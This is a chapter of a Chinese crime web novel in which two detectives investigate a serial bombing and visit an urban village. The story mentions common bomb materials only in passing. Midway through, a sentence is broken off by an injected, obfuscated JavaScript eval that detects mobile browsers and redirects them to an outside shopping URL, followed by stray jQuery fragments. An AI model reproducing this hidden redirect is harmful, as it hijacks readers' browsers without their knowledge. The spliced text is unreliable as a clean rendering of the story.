23. 第二十三章
作品:《白月光死遁归来后[刑侦]》 “在七月一日下午四点半左右,环南路169号五单元发生了爆炸。根据爆炸遗留物分析结果来看,这个炸弹属于民间□□,主要材料都是一些比较常见的物品,包括化肥硝胺,高氯酸钾,柴油铝粉等。但值得注意的是,这个炸弹制造的可以说是非常精良,凶手在里面添加了凡士林和脱脂棉以保证炸弹既不会意外爆炸的同时还做到了燃烧均匀。”
“综上分析,作案凶手智商非常高,应该属于高学历人群,且可能经常接触化学用品,正在从事或曾经从事过化学相关的工作。”林忆珍说完切换了大屏幕上的照片,“从目前仅有的组件上可以看到,切面平滑整齐,推测工具应该是手术刀一类。”
林忆珍说完看向众人,“有什么想法吗?”
“按照经验来说,爆炸案通常不会只单单一起,往往都会发展成连续爆炸案。”纪珩低头扶了扶镜框继续道,“而连环爆炸案又可以分为两大类,恐怖袭击以及报复恐吓,这次我认为属于后者。第一,爆炸范围不够广,社会危害力度和达不到恐怖袭击的程度。我认为可以去调查一下本市最近发生过的爆炸案案卷,这可能不是第一起,也极有可能不是最后一起。同时另派一组去调查受害人社会关系,看看有没有结怨结仇的对象。”
曲琳在一旁啄木鸟似的直点头,林忆珍见状微扬起眉道:“那就这样,曲琳你带一组人去调查受害者社会关系,其余人按照时间从近到远的顺序去找,看看有没有相似的案子。散会!”
案卷调过来后,林忆珍率先将时间最近的一堆搬到了办公室。
她前脚刚坐下,后脚纪珩就也跟了过来从她桌上拿走了一半。
林忆珍抬眸诧异地看了眼他,想起来这货对自己似乎有点意见,突然感觉有些尴尬。
她又瞥了眼纪珩手中拿过去的案卷低下头略显不自在道:“病刚好就别跟着加班了。”
“反正回去也睡不着,倒不如留下来。”纪珩声音淡淡,将案卷搬回了自己桌上。
林忆珍蹙眉。
——在家睡不着,所以天天来支队补觉么?
她已经看见好几次纪珩直接都趴在桌上睡了!只是碍于他在支队的职务以及身份的尴尬,另外确实没有什么要紧事才一直不说的,结果他竟然还敢主动提!
怎么,在家睡不着只有在办公室才能睡是吧?
还非得当着她的面睡,是完全不把她这个副支队长当回事。
林忆珍心里咕咚半天最终也没有憋出一个字出来,只得将注意力集中在案件上。
不看不知道,海都市竟然发生了这么多起爆炸事故。
时间一分一秒过去,终于在几小时后林忆珍发现了端倪。
“纪珩你快过来!”
纪珩闻言立即放下手中的案卷走了过去在林忆珍身旁俯身看去,林忆珍将案卷推过去:“六月二十五号,发生的地点的话在花溪区城中村。一样都是民用□□,用料完全一样,唯一的区别在于没有造成人员伤亡。”
纪珩仔细翻看着,眼睛微眯起来:“这看着,怎么像提前模拟实验。”
林忆珍闻言抬头去看他:“我也是这么想的。”
纪珩垂眸对上林忆珍的视线,林忆珍这才意识到他们俩此刻的动作有多亲密。
她下意识闪躲开视线,纪珩却在她移开视线的一瞬间就立马起身退回了安全距离。
“还没有恭喜林队订婚的事。”纪珩坐回位置上,继续翻看着桌上的卷宗。
林忆珍眼中闪过意外,马上就猜到了肯定是顾执去给纪珩下马威了。
“抱歉,他有时候比较没有安全感,如果对你造成了困扰我会让他来道歉。”林忆珍无声地叹了口气,“至于恭喜,等事情彻底定下了再恭喜也不迟吧。”
纪珩几乎没有思考,脱口而出:“完全理解。”
林忆珍被他的反应吓了一跳,盯着他半天才迟疑开口:“你刚才是在冲我发脾气吗?”
说完林忆珍也有点冒火:“你最近什么情况?对我有什么意见可以直接说,别跟我整这些阴阳怪气的。”
话落两人都沉默了好一阵,气氛一度陷入僵局。
纪珩闭上了眼,像突然清醒过来一般。
他到底在干嘛。
两个加起来六十好几的人了,如今竟然像两个小孩在这闹脾气一样。
林忆珍这么一个高傲冰山竟然还会和他一起闹,真是……
“抱歉,最近烦心事有点多,我不该将私人感情带到生活中来。”他起身走了回去,看着林忆珍认真地道歉。
林忆珍也觉得自己刚才反应过激了,有些尴尬地往后抓了把头发:“算了没事。以后有什么事可以随时说,如果我能帮的上忙我一定会帮你。”
纪珩沉默片刻扯唇笑了笑,“好,一定。”
“行了,先这么着吧。时间也不早了,我送你回去。”林忆珍起身拿上钥匙便直接朝外走去率先上了车,纪珩跟在后面,犹豫下还是拉开了副驾的车门。
林忆珍斜觑一眼他,心中冷笑。
——这挨千刀的,就是对她有意见,还什么最近有烦心事,拿她当傻子哄呢!
…
…
截止到次日中午,海都市近一个月的所有的卷宗都已经翻阅完毕,同时曲琳也将调查结果带了回来。
林忆珍简单的将她和纪珩针对他们昨晚找出的案件进行同步后便示意曲琳来说一下受害者的情况。
“海家旺,男,48岁,出生于海都市海北县松山海家一组,是家里的老二。其哥哥及嫂子早年在边陲地区牺牲,靠着国家的抚恤金和补贴一家子兄弟姐妹后来都陆续搬来了海都市,目前属于无业游民,每天除了吃饭睡觉,就是去家楼下牌馆里打牌。据走访调查,海家旺牌品不好,脾气大,输了钱经常要发脾气动手,街坊邻居们其实都不太愿意和他一起玩。结怨对象的话有两个。”
曲琳说着切换了屏幕上的照片,“刘师,男,45岁,住在海家旺对面,平时因为打牌和海家旺起了不少冲突,听街坊邻居们说海家旺似乎在之前欠了刘师几千块钱一直没还。”
“另外一个就是住在海家旺家楼下的这一户人家。这栋楼是老房子了,隔音不太好,海家旺总是被投诉制造噪音,两家也经常吵架……”曲琳说到这忍不住皱眉,“但我已经看过他们的资料了,最高的是高中学历,虽然不能凭借这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195981|196157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一点排除嫌疑,但我觉得确实可能性比较低,具体的还要看不在场证明等。”
林忆珍早就预料到情况不会这么顺利,摆了摆手宽慰道:“没关系,辛苦你了,查案总不会一帆风顺的。”
“你们继续跟进海家旺这边,曲琳来负责。”林忆珍起身布置道,“纪珩跟我去一趟城中村。”
纪珩闻言点头起身,跟着林忆珍一起前往了城中村,这个被藏在海都市最边缘夹缝里的地方。
人人提起海都,大概想到的都是繁华,富贵,大城市。可这光鲜亮丽的背后,只要顺着深处再多走走,就能窥见这座城市最真实的褶皱。
他们一路开过来,感受尤为明显。
“你瞧,同一片天空下,繁华与贫瘠竟然挨得如此近。一堵围墙,一条马路,就能划分出两个截然不同的世界。”纪珩望着窗外悠悠道,“就像白与黑两个世界,有时候或许其实并没有那么远,甚至还能融合在一起。”
“这世界上哪有那么泾渭分明的。”林忆珍不太明白纪珩突然说这么一通话是什么意思,“说是黑与白,但这中间的灰色往往占了大头。”
“……”纪珩回头看了眼林忆珍,“说的也是。”
城中村鱼龙混杂,巷子密如蛛网,监控不仅常年失修更是少得可怜。
林忆珍一路走来,拐两个弯便能找到隐身于暗处的机会。
“这里出租屋门牌混乱,人员流动太大太快,身份非常难查,恐怕我们这一趟不会有什么收获。”纪珩一边观察着周围环境一边分析着。
“没办法,查案查案,就是得来查。”林忆珍道,“就算知道可能没有收获,但也不能放弃这一丝可能。先看看吧,说不定有意外的收获呢。”
到达爆炸发生的地点时房东也刚好赶了过来,林忆珍一边观察环境一边问:“这间房子发生爆炸时有人租么?”
“嗨!前段时间一个年轻人顶不住压力在我屋子里那什么了,晦气得很哪里租的出去!”房东一边说一边跺脚,“这里人又多,消息一下就一传十十传百的传出去了,来租房的又大多是从外地过来闯荡的,听说这事儿都嫌膈应!”
林忆珍点头,又出门看了看,“我看到了这边好像人稍微少了点,也是因为这个?”
“这倒不是。”房东道,“现在这社会什么不卷啊,连租个房子都卷起来了!降房租就算了,还要去改房子去装修,我们这便没搞这么多玩意儿租的人就相对少点。”
纪珩看了眼前面被炸飞的门蹲下看了眼问:“这里的门锁都是什么样的?”
房东一听指了指对面门的锁:“就这种普通的呗。”
林忆珍和纪珩对视一眼一起过去看了眼,非常老式的门锁类型,随便一撬就能撬开。
“事情不太妙啊林队。”纪珩神情凝重起来,“我几乎可以确定,这就是一起针对性极强的连环报复案件。这种影响力会随着事件的发生逐渐扩大,犯人的作案频率也会越来越高。再这样下去,恐怕第三起案子马上……”
话音未落,不远处的天空突然传来一声巨响!
林忆珍和纪珩心猛地一颤对视一眼后一起看向前方。
“走!”

